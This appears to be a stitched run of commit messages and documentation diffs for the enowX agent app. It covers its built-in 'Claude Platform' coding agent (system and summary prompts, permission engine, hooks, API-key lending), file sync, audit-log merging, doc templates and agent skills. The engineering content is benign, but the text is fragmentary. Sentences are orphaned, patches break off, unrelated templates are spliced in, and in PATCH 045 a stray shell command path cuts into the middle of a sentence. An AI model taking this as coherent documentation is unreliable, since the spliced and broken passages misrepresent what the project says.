Metadata lives in a body's first line, not the note's header: a daemon of
before rewrites a header without keys it doesn't know, whereas a body survives
it, sync, teams, exports and proposals, and reads as text in an app of before.

Subject: [PATCH 029/222] Pick a config from the new tab menu

The + menu opened an agent with its default config only. An agent with configs
now opens in the menu to pick one, as in New session, the preferred marked; one
with none stays one click. The menu scrolls when it doesn't fit the window.

Subject: [PATCH 032/222] Keep the library in the cloud's bucket, under its own
 prefix

The library shares the store of teams' files, wrapped so no key resolves outside its prefix, with its limits its own. The website holds no bucket token: R2's lasting tokens are per bucket and this one holds teams' files, so it fetches a live version's objects from the cloud with its secret.

+The library is off unless the cloud has `ENOWX_CLOUD_LIBRARY=on`. `GET /v1/info` then says `features: ["library"]` and the website's address in `libraryUrl`. The app offers sharing only when the cloud it was set to answers so: a team's own cloud is unaffected, and nothing reaches any other service.

 | `ENOWX_CLOUD_LIBRARY_PUBLIC_URL` | The website's address, for credits and links |
 | `ENOWX_CLOUD_LIBRARY_RETURN_URL` | Where a sign-in sends its code (`https://ui.enowx.ai/auth/callback`). Only from here, never from a request |

 | `ENOWX_CLOUD_LIBRARY_ADMIN_TEAM` | The team whose owner and admins moderate |
-| `ENOWX_CLOUD_LIBRARY_DIR` | For developing: a folder instead of a bucket |
 
 The cloud now imports `core/autopush`, `core/canvas` and `core/designshare`: a deploy that watches paths has to watch those and `proto/` too.
 
+## Sharing the bucket with teams' files
+
+The library keeps its objects in the store the cloud already uses for teams' files (`ENOWX_CLOUD_R2_*`), under its prefix. `cloud/library` only ever holds that store wrapped by `blobstore.Prefixed`, which checks a key before adding the prefix, so no key resolves outside it. Teams' files, under `teams/`, are never read, changed or counted by it: the library's limits are its own (`library_profiles.used_bytes`, `library_usage`).
+
+**The website holds no bucket token.** R2's lasting API tokens are per bucket, and this one holds teams' files. Only R2's temporary credentials can be limited to a prefix, and they last at most 7 days. So the website gets objects from the cloud, with its secret (`GET items/{id}/versions/{v}/{part}`, live versions only, nobody else), and keeps them in memory (`UI_OBJECT_CACHE_MB`, 128 by default). A version's objects never change, so a kept one costs the cloud nothing; whether it may still show is asked of the item each time.
+
+What this costs: each object not yet kept passes through the cloud once, as a read from R2 and a copy in its memory, at most 16 at once. R2's egress is free and reads the same as before; what's new is CPU and memory on the cloud, and bytes between the two apps. Point `CLOUD_INTERNAL_URL` at the cloud's address on the servers' own network, or those bytes go out through the proxy and back.

Subject: [PATCH 033/222] Add a stand-in Messages API for the agent's tests

Claude Platform's loop has to be tested end to end with no key and no network: scripted replies in the API's SSE shape, failures on the way, and a runnable default script for later end-to-end tests.

Subject: [PATCH 034/222] Give Claude Platform its file tools

Read, Write and Edit under Claude Code's names and input fields, so GOA's rules and
the chat's summaries hold for them. Writes are atomic and go through links rather than
over them. CleanEnviron keeps the agent's credentials from what tools start.

that follows .gitignore.

Subject: [PATCH 036/222] Give Claude Platform its Bash tool

Each command gets a process group of its own, so an interrupt or a timeout kills all
it started. What a finished command left in the background keeps running: dev servers
are started that way.

Subject: [PATCH 038/222] Add Claude Platform's permission engine

Modes and kept rules decide every tool call. A Bash rule matches only when every part
of the command does, and what can't be judged by its words (a substitution, a redirect)
asks. acceptEdits stays in the working folder and off what runs as a program there.

Subject: [PATCH 039/222] Bring a sleeping session back for what is sent to it

session.input typed into the terminal of a session whose program had stopped and answered as if it arrived, so session send and session_send said Done and nothing came. What is sent, by input, answer and the daemon's own word to a lead, now brings the session back on its conversation first, in line so each goes in once. What can't come back says so.

Subject: [PATCH 040/222] Bring an ended session back for its queued task

A task queued for a session that then ended failed, though a hibernated one came back and took its own. What can't come back, a plain shell, no longer has a task pasted into a new shell: delegate and the board say why.

 What the session doesn't say, enowX says for it: its process exiting or crashing, with the exit code and its last words, marked `NoReport` on the board and never shown as at work; a turn interrupted; a limit its agent showed; a lost sign-in, as what it asks; going silent, as a stall line; a host that can't be reached, once, after the idle limit.
 
+A task for a session asleep brings it back on its conversation first, hibernated or ended, once, whoever gets there first; one queued goes in when it is back. What can't come back (a plain shell) fails at once, with that said, on the board and to GOA, as does a wake that fails.
+
 A line stays until it has gone in: kept in `goa-tell.json` while GOA is busy, hibernated or stopped and over a daemon's restart, put back if typing it fails, the newest 200 kept. Only a stall line of a task since settled is dropped, as moot; a report isn't. With no GOA on the host at all there is no one to tell.
 
 Sent something again, a task whose turn had ended is at work again, so a screen with no hook can report the next turn too.

Subject: [PATCH 041/222] Keep hibernation off a session with a task under way

Hibernating by hand or on its own took a worker GOA was waiting on, and the task sat until a stall line. It now counts as work that would be lost, unless forced.

Subject: [PATCH 043/222] Connect Claude Platform to MCP servers

Servers start side by side, each within 20s, so a slow or broken one costs only its own tools and says why in Problems. Tools are listed once and their schemas kept as canonical JSON: the prompt cache's prefix depends on their bytes.

A call in flight when a server dies fails rather than being sent again, since it may have partly run; the next call restarts the server, at most once a minute so a crashing server can't loop.

Only enowX's own server can take the mcp__enowx__ prefix GOD of Agents allows: a look-alike name such as "enowx." would otherwise pass for it once sanitized.

Subject: [PATCH 045/222] Build Claude Platform's loop on the Messages API

Bodies are built as bytes and sent through the SDK, so answers replay unchanged (thinking signatures) and tools and system stay frozen for the prompt cache and the API's check of thinking blocks. Retries are the loop's own, a whole request at a time. History is append-only; /home/enowx/.enowx-app/bin/enowx decide trim -- 'compaction starts over from one summary message, between tool rounds only.

+// builtinPrompt is the system prompt of a session. Nothing that varies goes in it: it is

+const builtinPrompt = `You are Claude Platform, a coding agent working in the user's repository through tools. You read code, change it, run commands and report what you did, usually over many steps without further input.
+
+Tools:
+- Read, Glob and Grep find and read files. Prefer them to shell equivalents.
+- Edit and Write change files. Read a file before changing it, and make the smallest change that does the job.
+- Bash runs commands in the working folder: tests, builds, git. A command must not wait for input.
+- Task hands a self-contained piece of investigation to a subagent, with its own context, that reports back. Use it for searches that would fill this conversation with reading. It can't change files except through Bash.
+- AskUserQuestion asks the user something only they can decide. Use it when a choice would change the outcome and the code doesn't settle it, not to confirm what you were already asked to do.
+- Tools named mcp__<server>__<tool> come from the user's MCP servers.
+
+Some calls need the user's permission, and a hook can refuse a call whatever the permission mode. When one is refused, the result says why: don't try to get around it, find another way or say what you need.
+
+How to work:
+- Look at how the repository does things and follow it. Its own instructions, when it has any, arrive in the first message.
+- Finish what was asked and only that. A problem you notice elsewhere is something to mention, not to fix.
+- Check your work by running it: the tests, the build, the program. Say plainly what you ran and what you didn't, and report failures as they are.
+- Calls with no dependency between them can go in one answer; read-only ones run side by side.
+- Before a command that is hard to undo or reaches beyond this machine, make sure it is what the user asked for.
+
+Text you write between tool calls and at the end is what the user reads. Say in a line what you are about to do when it isn't obvious, and end with what changed and what is left, briefly.`

+const subagentPrompt = `You are a subagent of a coding agent. You have been given one self-contained task in a repository, with read and search tools and Bash. No one reads your intermediate text and you can't ask questions: work it out from what is there. Don't change files unless the task says to. End with a final answer that stands alone, since it is all the agent that sent you will see: what you found, with file paths and line numbers, and how sure you are.`
+
+// summaryRequest asks for the summary compaction starts over from. The last sentence
+// matters: the request still offers the tools, since changing them would edit the prefix.
+const summaryRequest = `Summarize the transcript inside <summary></summary> tags. Include relevant information in the summary such that this conversation will be continued by a new context window without needing to redo work or be reprovided with relevant constraints or context. Be sure to preserve: (1) any difficulties or problems that came up, and how they were handled or resolved; (2) any possibilities, options, or approaches that were raised, tried, or set aside, and why; (3) anything that was asked for, decided, agreed, ruled out, or established as a preference, constraint, or boundary - stated exactly; (4) exactly where things stand now - what has been covered, settled, or completed so far; (5) anything still open, unresolved, promised, or expected to happen next; (6) specific details that would be hard to reconstruct - names, numbers, dates, exact wording, links or references - kept exactly. Be complete on these even at the cost of length; keep everything else concise. Weight the two voices differently: keep what the user said, asked for, shared, or established carefully and close to their own words; your own explanations and reasoning can be condensed much further, to what they concluded or produced - as long as nothing in the six items above is dropped. Do not call any tools while writing this summary; respond with text only.`

Subject: [PATCH 047/222] Say when a session's real model differs from what it
 started on

A fallback and a /model typed in the agent both simply became the stored value,
so a fallback's model went on the command line at the next restart. What a
session started on is now kept apart: while the agent says another, the row and
`ls` say "started on". Claude Code's transcript records /model's answer, so there
the two are told apart: /model replaces what it started on, and a restart returns
to the model it was given. Other agents' transcripts read the same either way, so
what they last said stands, with the same words.

 A session keeps its model, effort and permission mode through restarts, wakes, reconnects, app updates and forks. What its agent last said it runs on is kept with the session, and passed on its command line each time it starts or resumes (`--model`, `--effort`, `--permission-mode` for Claude Code, `-c model=…` and `-c model_reasoning_effort=…` for Codex). A change made in the agent, as `/model`, is what its transcript says next, so it becomes the session's. Exceptions: a session on a config has what the config says; one skipping permissions has that flag rather than a mode; Codex's Plan mode can't be asked for on its command line, so it comes back in Default; and a shell tab's agent, started by hand, has what it was started with.
 
+When the model its agent says differs from what the session started on, the session says so: `(started on …)` beside the model in the app's row and in `enowx-app ls`, `modelStarted` in its info, and a line in the daemon's log. Claude Code's transcript tells the two causes apart: `/model` records its answer, so that becomes the session's model, and a model it moved to by itself never goes on its command line, so a restart returns to the one it was given. Other agents' transcripts read the same either way (Codex's `turn_context`, OMP's `model_change`), so what they last said stands, with the same words.
+
 Claude Code saves what `/model` and `/effort` set as its default, in a file all its sessions read, and enowX can't stop that. Sessions already there aren't changed by it, as they say their own at each start. New ones take what Settings, New sessions start on says for that agent; left at "The agent's own", they take whatever that file says by then. A task's routing picks what a new session starts on: a session that already exists keeps its own, unless GOA or the user asks for a model by hand.

Subject: [PATCH 048/222] Say what a render or a Browser needs of the app

Told to open an app already open is what a session on a watched host got. An app too old to render for a host it only watches, and a Browser with the app only watching, each now say what the user has to do, and that an agent can't.

Subject: [PATCH 051/222] Hand Claude Platform's events to the session's daemon

The agent's tool calls, prompts and turns go over the RPC `enowx hook`
uses, so GOD of Agents, the judge and the user's hooks hold on it as on
any agent. GOA's session refuses a call when the daemon can't be reached;
others have no decision, and nothing else blocks a turn for long.

Subject: [PATCH 052/222] Add Claude Platform's terminal and its command

A session's PTY runs `"$ENOWX_BIN" claude-platform`, with Claude Code's
flag names. The screen and keys are what enowX already reads and presses
for agents: the mode's words in a status under the conversation, a bare
prompt mark when ready, "esc to interrupt" at work, and the keys the
chat's permission and question cards send.

Subject: [PATCH 053/222] Add Claude Platform as a built-in agent

It is enowX's own program, so it is always installed and needs nothing on any host.
It tells the daemon of itself over session.hook, so what asked for hooks in its
command line now asks whether an agent reports itself. GOD of Agents holds it by
tool.before alone; hooks.ToolEvent reads a call the same way for every agent.

Subject: [PATCH 058/222] Lend Claude Platform its key from the vault

The key reaches its session's environment by the lending any session has, with the
app's consent, and is lent again on waking and restarting. A session coming back with
no app to lend it waits, stopped, and continues once one serves. The daemon's output
is scrubbed as its log is, as a service's goes to the journal.

Subject: [PATCH 059/222] Give Claude Platform's chat streaming, a cost chip
 and key notices

The poller asks every 120 ms while this agent works. Questions past nine options go to the terminal, as a program reading single keys can't take two digits. The context meter gives way before the composer's buttons on a narrow row.

 The outline of the user's messages stands at the conversation's side when the column leaves room for it. A column running the frame's width (GOD of Agents') gives up that side; otherwise the outline folds to a button in the chat's corner.
 
+## Claude Platform's chat
+
+The chat is this agent's main face: its sessions open on it, right after they start, with the terminal a tab away (leaving the chat is remembered per session), and the composer doesn't wait for the terminal to attach: without one, a message goes through the daemon (`session.input`).
+
+While it works the poller asks every 120 ms rather than 700, so an answer changing revision reads as streaming; with no news the app isn't woken, and it goes back to 700 ms when the agent stops. An answer still arriving is parsed from its last blank line outside a fence on (`widget.MarkdownStream`), not whole for each change, and isn't kept in the Markdown or highlight caches; a code block still arriving shows its last 8 KB in plain text and gets its colors when it closes. Once the turn is done the answer draws as any other.
+
+Beside the context, a chip says what the session has cost at list prices and of what budget (`Transcript.CostUSD`, `BudgetUSD`), amber from 80% of the budget, red at it; it shows only for an agent that reports a cost, and opens to the spend, the budget, `/budget`, and the Claude Console, where the remaining credit shows: an ordinary API key can't read it. A notice about a refused or missing key offers the agent's API keys.
+
+Answers to its questions are keys: one digit for an option, the digit after the last option then the text and Enter for an answer of the user's own, and the same for the rest of the agent's asks (`Preset.Approve`). A question with several picks or more than nine options is answered in the terminal.
+
+Its sheet (Settings → Agents, its chat, the new session dialog; `ui/platformview`) lists the vault's `anthropic` credentials by name, adds them with the vault's form, tests and removes them, and edits the host's `<data dir>/claude-platform/system-prompt.md` through `platform.prompt` and `platform.prompt.save`. Reset removes that file, for the built-in prompt.
+
 ## Changing the agent's settings
 
 The composer shows the agent's model, permission mode and effort, as the transcript and the screen say them, and changes them the way the agent's user would (`core/agent/settings.go`):

+# Claude Platform
+
+Claude Platform is enowX's own coding agent: a Go loop over Anthropic's Messages API, part of enowX's program. It needs nothing installed (no Node, no Python, no other agent) on any host: macOS, Linux, Windows, a server. It runs on the user's API key from the vault, billed by Anthropic per token, and offers the tools Claude Code names: `Read`, `Write`, `Edit`, `Glob`, `Grep`, `Bash`, `AskUserQuestion`, `Task` and MCP's `mcp__server__tool`.
+
+## How it runs
+
+It is a program in a session's terminal like any other agent, so sessions, tabs, hibernation, restarts and other hosts work as they do for any: `<enowX's program> claude-platform [flags] [prompt]`. The preset (`core/agent/platform.go`, ID `claude-platform`, `Builtin`) always counts as installed, has nothing to install or sign in to, and resolves its program to the running enowX: `$ENOWX_BIN`, which the daemon sets to its launcher (or on Windows its own copy), else the executable itself.
+
+| Flag | |
+|---|---|
+| `--model M`, `--effort E`, `--permission-mode P` | What it starts on (below). |
+| `--dangerously-skip-permissions`, `--allow-dangerously-skip-permissions` | Start in bypass; offer bypass as a mode to switch to. |
+| `--continue`, `--resume ID`, `--session-dir DIR` | The newest conversation in the folder; one by its ID; the folder a session keeps them in. |
+| `--append-system-prompt-file F`, `--system-prompt-file F` | Added after the prompt; in place of it. |
+| `--mcp-config F` | MCP servers, as a file's path or its JSON. |
+| `--max-budget D` | Dollars the session may spend before asking. |
+
+## What enowX gives it
+
+- **Guide and tools.** Its inject and guide in one system prompt (`--append-system-prompt-file`, a file of the session) and enowX's MCP server (`--mcp-config`), both in `agent-files/<session>/` so no command line holds them, as for Claude Code ([agents.md](agents.md)).
+- **State and events.** It calls the daemon itself (`session.hook`), on Windows too, using Claude Code's tool names: state, `prompt.start`, `tool.before` (whose answer it acts on: refuse, or run unasked), `tool.after`, `turn.done`, and the session's start and end. It has no hooks in its command line (`HookArgs` is nil), and it counts as reporting itself everywhere that matters: it is never marked done by a quiet screen, and "skip what nobody hears" doesn't apply. A tool event's command and paths are read as every agent's are (`hooks.ToolEvent`).
+- **Permission prompts** show on its screen and are answered by keys: `1` allow, `2` always, `3` or Esc deny.
+- **A hook can't rewrite its call.** A user's hook that changes a command refuses the call instead, naming the command to run, as for Codex when it would ask.
+- **GOD of Agents** runs on it enforced by `tool.before` alone: it has no flag limiting its tools, and needs none, as every call goes by the daemon's answer first. GOA's lines reach it typed in when it is idle ([goa.md](goa.md)).
+- **Not offered:** rewinding from the chat and forking a session.
+
+## The record
+
+One JSON line per record, in `<session dir>/<id>.jsonl`: a session's own folder (`~/.enowx-app/agent-sessions/<session>/`) or, run by hand, `~/.enowx-app/claude-platform/sessions/` (package `core/platformagent/record`). The agent resumes from it, the chat reads it (`core/transcript/platform.go`: text and thoughts growing as they stream, each answer's final text in their place, tool calls, notices, cost and budget, a subagent's steps folded into its call), and token usage reads each answer's usage and cost (`core/tokens/adapt_platform.go`). No record holds an API key.
+
+## The key
+
+The key lives only in the vault, as a credential of platform `anthropic` (`Preset.VaultPlatform`). It reaches the agent only as `ANTHROPIC_API_KEY` in its session's process environment: never in a file, a command line, a transcript, a log, a session's saved command or a sync.
+
+**Adding one.** Credentials → Add credential → Anthropic, or `enowx-app creds login anthropic`, which opens that form. Whether one is set: `vault.index` (`VaultIndex.Credentials`, any with `platform: "anthropic"`, no values there).
+
+**At a session's start** the daemon picks the credential from the host's index (the one scoped to the session's project, else the platform's default, else the first; `vault.AgentKey`), and asks the app for it with the session's other credentials (`vault.request`, action `session`), the same lending as `creds env` ([vault.md](vault.md)): the app answers at once on a host the credential may be used on, and otherwise asks the user: **Allow once**, **Always on HOST**, **Refuse**, naming Claude Platform and the host. The daemon keeps the value in memory for the session, masked wherever a session's screen, conversation or traffic is read, and the session keeps only the credential's name.
+
+**Hibernating and waking** use what the daemon holds. **After a daemon restart** nothing is held and no app is connected yet, so a session that has a key waits, stopped, and continues by itself once an app serves the vault; waking one before that says it needs the app, rather than start with no key. A credential added since a session started is picked up the next time it starts.
+
+**With no credential,** or one refused, the session still starts, and the agent says what is missing.
+
+**A config** can run it on another API speaking Anthropic's protocol: a model API config with `--key-cred` gives `ANTHROPIC_BASE_URL` and `ANTHROPIC_API_KEY` in the session's environment and `--model` ([configs.md](configs.md)); that key is read as any config's is, and no credential is lent for it. It has no settings of its own an API could be written to, so `agent_api_set` refuses it: that would be a key in a file.
+
+## Defaults
+
+A new conversation starts on `claude-opus-5-5`, effort `high`, and a budget of $10 per session: past that it asks before going on (`record.Default*`; `/budget` or `--max-budget` to change it).
+
+| Model | Window |
+|---|---|
+| Opus 5.5 (the default), Fable 5.1, Sonnet 5.5, Haiku 5.5, Opus 5, Sonnet 5 | 1M |
+| Haiku 4.5 | 200K |
+
+**Modes** go by Shift+Tab, and its status line names the one on: `default` "ask first mode on", `acceptEdits` "accept edits on", `plan` "plan mode on", `bypassPermissions` "bypass permissions on". **Effort** is low, medium, high, xhigh or max (`/effort`), **model** `/model`.
+
+**The system prompt** is, first found: `--system-prompt-file` for one session; `~/.enowx-app/claude-platform/system-prompt.md` for every session on the host; the built-in one. enowX's inject and guide go after whichever it is. A config's `args` can carry `--system-prompt-file`, so a config can have its own.
+
+**Remaining credit isn't shown:** an ordinary API key can't read it. The Console shows it, and the Admin API's cost report needs an admin key. The session's cost in dollars, at list prices, shows beside its budget.

Subject: [PATCH 066/222] Keep "always allow" from allowing every command, and
 obey hooks fully

With no safe rule for a chained command, the loop kept the tool's bare name,
so one "always" allowed all of Bash. It now allows that call once.

The judge and the person asked now see the whole command rather than its
clipped summary. A hook's rewrite, a refused prompt, prompt context and GOD
of Agents' lines at a turn's end now take effect, and a silent stream counts
as lost instead of waiting for the user. GOA's own enowX tools don't ask.

+## Target
+
+_To fill: the standard to meet and why: a law, a contract, or the audience. WCAG 2.2 AA is the usual aim, {{Assumption}} until the owner confirms it. Say which screens are in scope._
+
+## Checklist
+
+_To fill: tick only what was actually tried, add what is particular to this UI, and write "Skipped: why" for what doesn't apply._
+
+- [ ] Every action works with the keyboard alone, with a visible focus
+- [ ] A screen reader announces controls, states and errors
+- [ ] Text contrast at least 4.5:1, 3:1 for large text and controls
+- [ ] Images have alternative text, decoration is hidden
+- [ ] Forms have labels, and errors say what to fix
+- [ ] Usable at 200% zoom and at phone width
+- [ ] Nothing relies on color alone
+- [ ] Motion can be reduced, nothing flashes
+- [ ] Dialogs hold and return focus
+- [ ] The page's language is set; video has captions
+
+## How it is checked
+
+_To fill: which automatic tool runs where, and which screen reader and browsers are tried by hand, how often and by whom. Automatic tools alone find only part of the problems._
+
+## Design rules
+
+_To fill: what the design system guarantees (colors, focus style, touch target size), so screens get it for free. Link [[Design System#Motion and accessibility]]._
+
+## Known problems
+
+_To fill: each known gap, who it stops, the workaround and when it will be fixed, or "Skipped: none found". Mark screens nobody has tried with {{Unverified}}._

+## Process
+
+_To fill: the business process drawn here: what starts it, what ends it, who takes part, how often it runs and what it costs when it goes wrong._
+
+## Diagram
+
+Draw the process from start to end with a lane for each party: every step, each decision with its branches labeled, what runs in parallel, and where it waits for someone. Source: the people who do it today and the code that automates it. Say which step is manual and which is automatic.
+
+_To fill: a canvas of kind diagram drawn from the schema and code, linked with docs diagram; no canvas yet._
+
+## Steps and decisions
+
+_To fill: each decision with its rule and who makes it, and each step that waits with how long it may wait and what happens after that._
+
+| Step or decision | Party | Manual or automatic | Rule or time limit | On failure |
+|---|---|---|---|---|
+| | | | | |
+
+## What the diagram leaves out
+
+_To fill: exceptions and side paths not drawn and where they are described, and the date the diagram was last checked against the code and with those who do the work. Mark what wasn't compared with {{Unverified}}._

+## How to use this
+
+_To fill: who may decide what, and who must be told. An entry records a choice that is costly to undo: stack, data model, hosting, a third party. A decision is never edited away: when it changes, add a new entry and mark the old one superseded._
+
+## Decisions

+
+Status: {{Proposed}} (Proposed, Accepted, Superseded by ADR-n). Date: YYYY-MM-DD. Decided by:
+
+**Context**
+
+_To fill: the situation and the force behind the choice: the constraint, the requirement, the deadline. Link the section that asked for it, such as [[Technical Spec#Stack and reasons]]._
+
+**Decision**
+
+_To fill: what was chosen, in one or two sentences starting with "We will"._
+
+**Alternatives**
+
+_To fill: each option considered and why it lost. A decision with no alternatives wasn't a decision._
+
+| Option | For | Against |
+|---|---|---|
+| | | |
+
+**Consequences**
+
+_To fill: what becomes easier, what becomes harder, what must now be done, and what would make this worth revisiting. Mark what wasn't checked with {{Unverified}}._

Subject: [PATCH 070/222] Find a project's rules however its folder is reached

A project with no remote keyed its rules by the exact path, so another
case, a symlink, a subfolder or a worktree found none. They are now keyed by
the project's identity; files saved under an earlier spelling are still
found, and moved at the next save so that no old copy comes back.

Subject: [PATCH 071/222] List sync conflicts without their versions' data

Each conflict's file holds whole versions, and the app listed them after every
sync: with 29 conflicts of 270 KB a version, a 21.4 MB reply and 339 MB allocated
at both ends together, each time. Nothing read that data from the list, in any
release, so the list drops it, says each version's size, and comes from a cache
while the files stay. sync.conflict reads one version when something wants it; a
client drops what an older daemon still sends.

Subject: [PATCH 072/222] Merge the vault's audit log by its lines, and settle
 its conflicts

Two hosts adding lines at the end of a file always conflicted as text, no base
being kept for .jsonl, and the second host's lines then lived only in a conflict
holding the log twice. A log now keeps every line of both, each host's in order,
and a daemon merges conflicts left on one into the file by itself, with no one
asked, the conflict going to the trash. Recording a use and replacing the file
take one lock, so a line can't go with the old file.

Subject: [PATCH 073/222] Do nothing on a sync when no file changed

Every 30 seconds each host's base, every text file below 1 MB, was read and
written, and the hub's conflicts and trash listed, with nothing changed. A round
now compares both manifests with the last good one's and stops there, reading the
lists only after files changed. A base no longer keeps conflicts' bodies, which a
third host's sync put there.

Subject: [PATCH 074/222] Wait for a session by its events, not the list

Each enowx wait or session_wait read the whole list of sessions twice a second,
120 calls a minute a waiter. It now follows the session's events, and reads the
list every 15 seconds for an event missed, 3 for a session on another host, whose
events don't reach this connection.

Subject: [PATCH 075/222] Follow a watched host's sessions by events

The app read each watched host's whole list of sessions and projects every 15
seconds, 4 calls a minute a host, though events keep them current. They're now
read when the watch connects and every 5 minutes for an event missed; a closed
session leaves by its event too, where it used to wait for the next read.

Subject: [PATCH 076/222] Back off from a host whose connections drop as they
 come up

A watch that connected but failed its first poll connected again with no pause at
all, and the shown host's wait started over at a second with each connection, so a
daemon failing each time was reconnected to over and over. Only a connection that
lasted a minute starts the wait over now; the shown host waits up to a minute, a
watched one 5, and Retry and Check now try at once.

 ## How
 
-Each host keeps the data as files in its enowX folder (`~/.enowx-app`): `notes/`, `canvas/` (not a canvas's versions kept for undo, `canvas/<id>/history*`: those are each host's own), `vault/`, `settings/`, `catalog/` (each host's projects) and `sync/conflicts/`. Hosts don't reach each other, so the app does the syncing: this device's own daemon is the hub, and every other host the app reaches (the one shown, or one watched in the background) syncs with it when it connects, every 30 seconds, and right after a change on either side. A host offline keeps its changes and sends them when it is back; a new host gets everything at its first sync.
+Each host keeps the data as files in its enowX folder (`~/.enowx-app`): `notes/`, `canvas/` (not a canvas's versions kept for undo, `canvas/<id>/history*`: those are each host's own), `vault/`, `settings/`, `catalog/` (each host's projects) and `sync/conflicts/`. Hosts don't reach each other, so the app does the syncing: this device's own daemon is the hub, and every other host the app reaches (the one shown, or one watched in the background) syncs with it when it connects, every 30 seconds, and right after a change on either side. A round where neither host's manifest changed since the last good one stops there: no base read or written, no list of conflicts or trash read. A host offline keeps its changes and sends them when it is back; a new host gets everything at its first sync.
 
 A sync is three-way, file by file (`core/usersync`), against what the two hosts had at their last sync, kept in this device's `usersync/` folder:
 
 - a file changed on one side goes to the other;
-- changed on both: a note merges its header field by field (the later `updated` wins) and its body line by line, JSON lists merge item by item (by `id` or `name`), other text line by line;
+- changed on both: a note merges its header field by field (the later `updated` wins) and its body line by line, JSON lists merge item by item (by `id` or `name`), other text line by line, and a log (`vault/audit.jsonl`) keeps every line of both;
 - changes to the same lines don't merge: the hub's version stays in place on both hosts and a conflict records both versions, until you pick one, or both (the other then becomes a copy, a note titled after its host), in **Settings → Sync** or with `enowx-app sync resolve`;
 - a file deleted on one side is deleted on the other, unless the other changed it, which brings it back. Deleted files stay 30 days in each host's `trash/`, listed under **Recently deleted** to restore;
 - at the first sync of two hosts, a note on both under different IDs (same title, same body) is kept once.
 
+## Logs
+
+`vault/audit.jsonl` only ever grows by a line, on each host. Merged as text, two hosts' new lines would conflict every time, each conflict holding the whole log twice and the second host's lines surviving only there. So it merges as a log (`usersync.AppendOnly`): every line of both, a line both have once, the same line several times on a host as many times as the host having it most, each host's lines in their order, and between hosts by the time they say; a clock that's off moves a host's lines against another's, never among its own. No line is changed, so it stays what it was: JSON lines without values, not encrypted, in a file only the user reads.
+
+Conflicts on a log left from before, or made by an older app, need no one: a daemon asked for its manifest or its conflicts writes every version into the file, with what's there, then moves the conflict to its trash, kept the 30 days, not listed under **Recently deleted**. A host's writing a line and a sync replacing the file take the same lock.
+
+The log's own limit still applies: past 800 KB, the host recording a use keeps the last 1000 lines. A merge doesn't apply it, so what one host trimmed can come back from another until it trims again, and only a host changing the log alone between two syncs carries its trim over.
+
 Kept per host, never synced: proposals agents made (their sessions are there), versions kept for undo, and project files (see project sync).
 
 ## Protocol
 
-`sync.manifest`, `sync.read` and `sync.write` (writes only when the file still has the hash expected), `sync.report` and `sync.status`, `sync.request` (asks the apps to sync, `sync.requested`), `sync.conflicts`, `sync.resolve`, `sync.trash`, `sync.restore`, `sync.forget`, and `catalog.list`. A daemon without them (an older one) is skipped until it's updated.
+`sync.manifest`, `sync.read` and `sync.write` (writes only when the file still has the hash expected), `sync.report` and `sync.status`, `sync.request` (asks the apps to sync, `sync.requested`), `sync.conflicts`, `sync.conflict`, `sync.resolve`, `sync.trash`, `sync.restore`, `sync.forget`, and `catalog.list`. A daemon without them (an older one) is skipped until it's updated.
 
 Transfers are batched by their encoded JSON size, including base64 file data, within the protocol's 16 MiB frame limit. A single file that cannot fit returns a sync error without disconnecting the host. The batching uses the existing protocol and also works with older daemons; newer daemons return an RPC error if a reply grows past the limit after the manifest was read.
 
+`sync.conflicts` names the conflicts and each version's host and size, without its data: however large the files, it's a few hundred bytes each. `sync.conflict` reads one version's data, when something wants to show it. No app ever read the data from the list, so an older app gets what it uses; an older daemon still sends it, which the client drops, and the app only asks after files changed.
+
 ## Command line
 
 ```
 enowx-app sync                    # this host's synced data and its syncs
 enowx-app sync now                # ask the app to sync now, and wait
 enowx-app sync conflicts          # what didn't merge
+enowx-app sync show ID [--version N]   # a version of a conflict
 enowx-app sync resolve ID --keep HOST|N|both
 enowx-app sync trash | restore ID
 enowx-app sync forget --yes       # take the synced data off this host

Subject: [PATCH 079/222] Add enowx-app profile for the running app and daemon

A report of how much memory or CPU the programs use could only be guessed
at. The profile measures them where they run, changing nothing: pages as
the system counts them (PSS and page kinds on Linux, footprint on macOS,
where clean code pages don't count), the Go heap, which code holds it,
goroutines, CPU over a window, and what sessions' programs take. A
diagnostics bundle holds it as profile.txt.

Subject: [PATCH 080/222] Add Project Docs' skills and what RAG embeds of a
 document

The seven skills ship embedded, each carrying the rules whole, since any one
may be installed alone. IndexText leaves records and template prompts out of
what is embedded: they'd come back from a search as facts about the project.

+name: build-from-spec
+description: Use when building a feature or task of a project documented in enowX Project Docs. Checks the approval gate first, builds to the acceptance criteria and keeps the documents true in the same turn as each commit.
+---
+
+# Build from the spec
+
+## 1. The gate comes first
+
+    "$ENOWX_BIN" docs list
+    "$ENOWX_BIN" notes --project .
+    "$ENOWX_BIN" docs gate PROJECT
+
+If it blocks, stop before writing any code. Tell the owner exactly what it names and that they approve in the Notes page. Don't approve anything yourself, don't work around it, and don't start "just the easy part".
+
+## 2. Read what applies, and whether it is current
+
+    "$ENOWX_BIN" docs summary PROJECT
+    "$ENOWX_BIN" notes outline "Technical Spec"
+    "$ENOWX_BIN" notes show "Technical Spec" --section "Data model and migrations"
+
+Read only the sections your task touches. A prompt from GOA already carries them: read further where it points. Sections docs summary reports as stale: read their source again before relying on them, and if the two disagree, ask the owner which holds.
+
+## 3. Build to the criteria
+
+The acceptance criteria in User Stories and Acceptance Criteria (or the document your task names) are what done means. Build what they say, and no more. Where the spec is silent or wrong:
+
+- A small choice inside the task: make it, and record it in the Architecture Decision Records document.
+- Anything changing what was approved: stop and ask. Don't quietly build something else.
+
+## 4. In the same turn as each commit
+
+Commit, then in that same turn:
+
+- Tick what the commit finished, only when it is done and you have checked it:
+
+      "$ENOWX_BIN" notes check "Work Breakdown and Backlog" --item "T-1: Add the orders table and its migration"
+      "$ENOWX_BIN" notes check "User Stories and Acceptance Criteria" --item "Paying with an expired card shows"
+
+- Update the sections the code changed, and add a Change history line. On an approved document this becomes a proposal: mention it in your report, and go on.
+- If the schema changed, bring its diagram into step (draw-diagram).
+
+What only the owner can test goes in a separate to-do of its own, and doesn't keep the build's to-do open.
+
+## 5. Report
+
+Say what was built, what was ticked and on what evidence, what is proposed and waiting for the owner, and what you could not check. Then review-against-prd can check the rest.

+description: Use when an enowX Project Docs document needs a real diagram, such as an ERD, sequence, state, C4, data flow or deployment diagram. Draws it on a canvas from the schema and code, and links it to the document.
+---
+
+# Draw a diagram from what is real
+
+A diagram shows what the schema and code say, not what you remember or expect.
+
+## 1. Read the source first
+
+- ERD: the migrations or schema files.
+- Sequence, data flow: the handlers along the path, call by call.
+- State: the code that changes the status field.
